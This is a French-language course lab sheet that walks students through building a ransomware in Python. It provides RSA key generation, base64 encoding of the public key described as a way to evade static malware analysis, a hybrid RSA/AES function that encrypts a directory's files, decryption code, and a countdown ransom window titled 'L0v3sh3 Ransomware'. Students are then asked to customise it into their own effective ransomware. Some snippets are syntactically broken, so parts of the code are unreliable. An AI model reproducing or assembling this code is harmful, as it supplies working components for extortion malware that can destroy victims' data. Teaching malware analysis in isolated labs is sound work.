TP1 MALWARE

LES RANSOMWARES

Objectifs : Apprendre à écrire un malware de type ransomware en python

Prérequis :

- Python 3+
- Editeur de code

NB : N'exécutez pas le programme sur votre machine (utiliser une machine virtuelle)

DEFINITION

Un ransomware, ou rançongiciel en français, est un logiciel informatique malveillant, prenant en otage les données. Le ransomware chiffre et bloque les fichiers contenus sur votre ordinateur et demande une rançon en échange d'une clé permettant de les déchiffrer. Apparus dans un premier temps en Russie, les ransomwares se sont répandus dans les systèmes du monde entier, et principalement aux États-Unis, en Australie ou en Allemagne. Bien souvent, le ransomware s'infiltre sous la forme d'un ver informatique ou malware, à travers un fichier téléchargé ou reçu par courriel et chiffre les données et fichiers de la victime. La finalité est d'extorquer une somme d'argent à payer le plus souvent en monnaie virtuelle (bitcoin) pour éviter toute trace.

Partie 1: Génération d'une clé privée et publique avec python

from Crypto.PublicKey import RSA

key = RSA.generate(2048)

privateKey = key.export_key()

publicKey = key.publickey().export_key()

Ecrire du code qui permet de sauvegarder la clé privée dans un fichier de nom private.pem

Ecrire du code qui permet de sauvegarder la clé publique dans un fichier de nom public.pem

NB : l'écriture doit se faire en byte.

Partie 2 : Encoder la clé publique générée

L'objectif principal de l'encodage est de rendre la clé publique difficile à identifier avec une analyse statique des logiciels malveillants.

Code :

```
import base64
with open('public.pem', 'rb') as f:
        public = f.read()
        print(base64.b64encode(public))
```

Testez-le !

Partie 3 : Afficher des fichiers du réfectoire de la machine cible

Code:

Vous allez créer une fonction qui permet de lister tous les fichiers dans un répertoire.

Partie 4 : Chiffrer les données de la machine cible

La fonction ci-dessous est une fonction de chiffrement ? pouvez la décrire ? utilisez-là pour chiffrer tous les fichiers contenus dans un répertoire !

```
import base64
import os
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, AES


def encrypt(dataFile, publicKey):
    '''
    use EAX mode to allow detection of unauthorized modifications
    '''
#Permet de lire le fichier a chiffrer
with open(dataFile, 'rb') as f:
        data = f.read()

    data = bytes(data)
    key = RSA.import_key(publicKey)
   #permet de générer une clé symétrique de chiffrement
    sessionKey = os.urandom(16)
    cipher = PKCS1_OAEP.new(key)

   #chiffrement de la clé symétrique de chiffrement avec la clé publique
     encryptedSessionKey = cipher.encrypt(sessionKey)
    cipher = AES.new(sessionKey, AES.MODE_EAX)
    ciphertext, tag = cipher.encrypt_and_digest(data)

    # cette partie permet d'enregistrer votre fichier sous le nom de nomFichier_encrypt.ext
    [ fileName, fileExtension ] = dataFile.split('.')
    encryptedFile = fileName + '_encrypted.' + fileExtension
    with open(encryptedFile, 'wb') as f:
        [ f.write(x) for x in (encryptedSessionKey, cipher.nonce, tag, ciphertext) ]
    print('Encrypted file saved to ' + encryptedFile)

#Cette partie permet de tester votre code
fileName = 'test.txt'
encrypt(file Name, pubKey)
```

Partie 5 : Fonction de déchiffrement des fichiers

Vous avez ci-dessous une fonction de déchiffrement, testez-la en l'utilisant pour déchiffrer les fichiers du répertoire que vous venez de chiffrer

```
def decrypt(dataFile, privateKeyFile):
    '''
    use EAX mode to allow detection of unauthorized modifications
    '''

    # Permet de lire la clé privée
    with open(privateKeyFile, 'rb') as f:
        privateKey = f.read()
        # create private key object
        key = RSA.import_key(privateKey)

    with open(dataFile, 'rb') as f:
        # read the session key
        encryptedSessionKey, nonce, tag, ciphertext = [ f.read(x) for x in (key.size_in_bytes(), 16, 16, -1)
]
     cipher = PKCS1_OAEP.new(key)
    # Permet de déchiffrer la clé de chiffrement
    sessionKey = cipher.decrypt(encryptedSessionKey)

    cipher = AES.new(sessionKey, AES.MODE_EAX, nonce)

    #Pour dechiffrer les données
    data = cipher.decrypt_and_verify(ciphertext, tag)

    [ fileName, fileExtension ] = dataFile.split('.')
    decryptedFile = fileName + '_decrypted.' + fileExtension
    with open(decryptedFile, 'wb') as f:
        f.write(data)

    print('Decrypted file saved to ' + decryptedFile)
```

Partie 6 : Modification de l'extension du fichier chiffré

Vous allez créer un code qui permet de changer l'extention des fichiers chiffrés

Astuce : utiliser la fonction encrypt(), filepath.suffix.lower()

Partie 7: Compte à rebours et message après chiffrement

La fonction suivante va vous permettre de créer un compte à rebours et un message pour la victime après le chiffrement. Utilisez-le pour compléter votre code et donc terminer votre malware.

```
import tkinter as tk

def countdown(count):
    # change text in label
    # count = '01:30:00'
    hour, minute, second = count.split(':')
    hour = int(hour)
    minute = int(minute)
    second = int(second)

    label['text'] = '{}:{}:{}'.format(hour, minute, second)

    if second > 0 or minute > 0 or hour > 0:
        # call countdown again after 1000ms (1s)
        if second > 0:
            second -= 1
        elif minute > 0:
            minute -= 1
            second = 59
        elif hour > 0:
            hour -= 1
            minute = 59
            second = 59
        root.after(1000, countdown, '{}:{}:{}'.format(hour, minute, second))

root = tk.Tk()
root.title('L0v3sh3 Ransomware')
root.geometry('500x300')
root.resizable(False, False)
label1 = tk.Label(root, text='Your data is under rest, please don\'t pay me,\nthis just
simulation !!\n\n', font=('calibri', 12,'bold'))
label1.pack()
label = tk.Label(root,font=('calibri', 50,'bold'), fg='white', bg='blue')
label.pack()
```

```
# call countdown first time
countdown('01:30:00')
# root.after(0, countdown, 5)
root.mainloop()
```

Partie 8 : Votre ransomware

Vous allez créer maintenant personnaliser le code précédant et créer votre propre ransomware.

Evaluation :

- La lisibilité de votre code
- La personnalisation du code
- L'efficacité

Rendu :

- Un rapport détaillant les caractéristiques de votre ransomware
- Le code en fichier compressé